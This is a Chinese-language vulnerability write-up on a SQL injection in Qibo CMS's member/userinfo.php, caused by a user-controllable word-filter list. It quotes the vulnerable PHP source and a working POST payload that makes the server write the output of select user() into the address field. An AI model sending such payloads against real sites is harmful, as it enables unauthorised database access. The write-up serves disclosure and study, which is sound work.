齐博整站/地方门户SQL注入漏洞

一个比较有意思的点,因为安全策略造成的注入。

就拿齐博整站系统为例。

看到/member/userinfo.php,112到114行:

1
2
3
4
//过滤不健康的字
$truename=replace_bad_word($truename);
$introduce=replace_bad_word($introduce);
$address=replace_bad_word($address);

这几句过滤代码,意思是想过滤一些“不和谐”的词语。那我们看看这个replace_bad_word函数。

1
2
3
4
5
6
7
8
function replace_bad_word($str){
global $Limitword;
@include_once(ROOT_PATH."data/limitword.php");
foreach( $Limitword AS $old=>$new){
strlen($old)>2 && $str=str_replace($old,trim($new),$str);
}
return $str;
}

实际上是一个str_replace,将旧的“不和谐”词语替换成新的“和谐”词语。那么替换列表从哪来?看看data/limitword.php:

1
2
3
<?php 
$Limitword['造反']='造**';
$Limitword['法轮功']='法**功';

就这两个,$Limitword并没有初值。而且include之前有global $Limitword。齐博cms是将GET和POST变量注册成全局变量了,所以global取到的可以是$_POST[Limitword]$_GET[Limitword]。也就是说$Limitword是我们可以控制的。

也就是说,我们可以控制str_replace函数的三个参数。不知道还有没有人记得ecshop曾经的一个注入漏洞( http://www.freebuf.com/articles/web/7387.html ),原理相同,我再说一遍。

某变量$str全局做过转义,导致%00转义成了\0.我们能够控制str_replace的前两个参数,则str_replace('0', '', $str),再将0转换成空,则留下了\,这个\可以转义其后的\',使之变成\\',导致单引号逃逸出转义符的限制,造成注入。

这里的原理是一样的,只不过齐博cms之前对一些变量做了过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$truename=filtrate($truename);
$idcard=filtrate($idcard);
$telephone=filtrate($telephone);
$address=filtrate($address);
$introduce=filtrate($introduce);
$homepage=filtrate($homepage);
function filtrate($msg){
//$msg = str_replace('&','&amp;',$msg);
//$msg = str_replace(' ','&nbsp;',$msg);
$msg = str_replace('"','&quot;',$msg);
$msg = str_replace("'",'&#39;',$msg);
$msg = str_replace("<","&lt;",$msg);
$msg = str_replace(">","&gt;",$msg);
$msg = str_replace("\t"," &nbsp; &nbsp;",$msg);
//$msg = str_replace("\r","",$msg);
$msg = str_replace(" "," &nbsp; ",$msg);
return $msg;
}

将’等敏感字符过滤了。就算有一个\可以转义一个',但是这里连'都引入不了。

没关系,这个文件是更新用户信息用的,执行的语句类似update table set a='111',b='222' where uid=1,我们引入一个\在111的最后,转义掉111后面的引号,这样222就逃逸出了限制,我们的sql注入语句就可以放在222的位置执行了。

这个和之前discuz7.2的faq.php那个注入类似: https://www.leavesongs.com/PENETRATION/discuz72-sql-injection.html

所以,完美构造了一个SQL注入。

先注册一个用户:

04.jpg

记下自己的uid,以便一会更新数据:

05.jpg

可以先测试一下是否存在注入:

07.jpg

报错了,说明注入是存在的。

简单构造一下,向 http://localhost/qibov7/member/userinfo.php?job=edit&step=2 发送数据包:
truename=xxxx%0000&Limitword[000]=&email=123@**.**.**.**&provinceid=,address=(select user()) where uid=38%23

06.jpg

将address注入成为user()。Where后面加上uid=2,防止把其他人的address也注入了。

查看个人注入的地址,即可见注入获得的结果:

08.jpg

这个洞是通杀齐博所有系统的,经测试齐博整站系统、齐博地方门户都可以中招,没试其他一些系统了,我估计很多都得中招。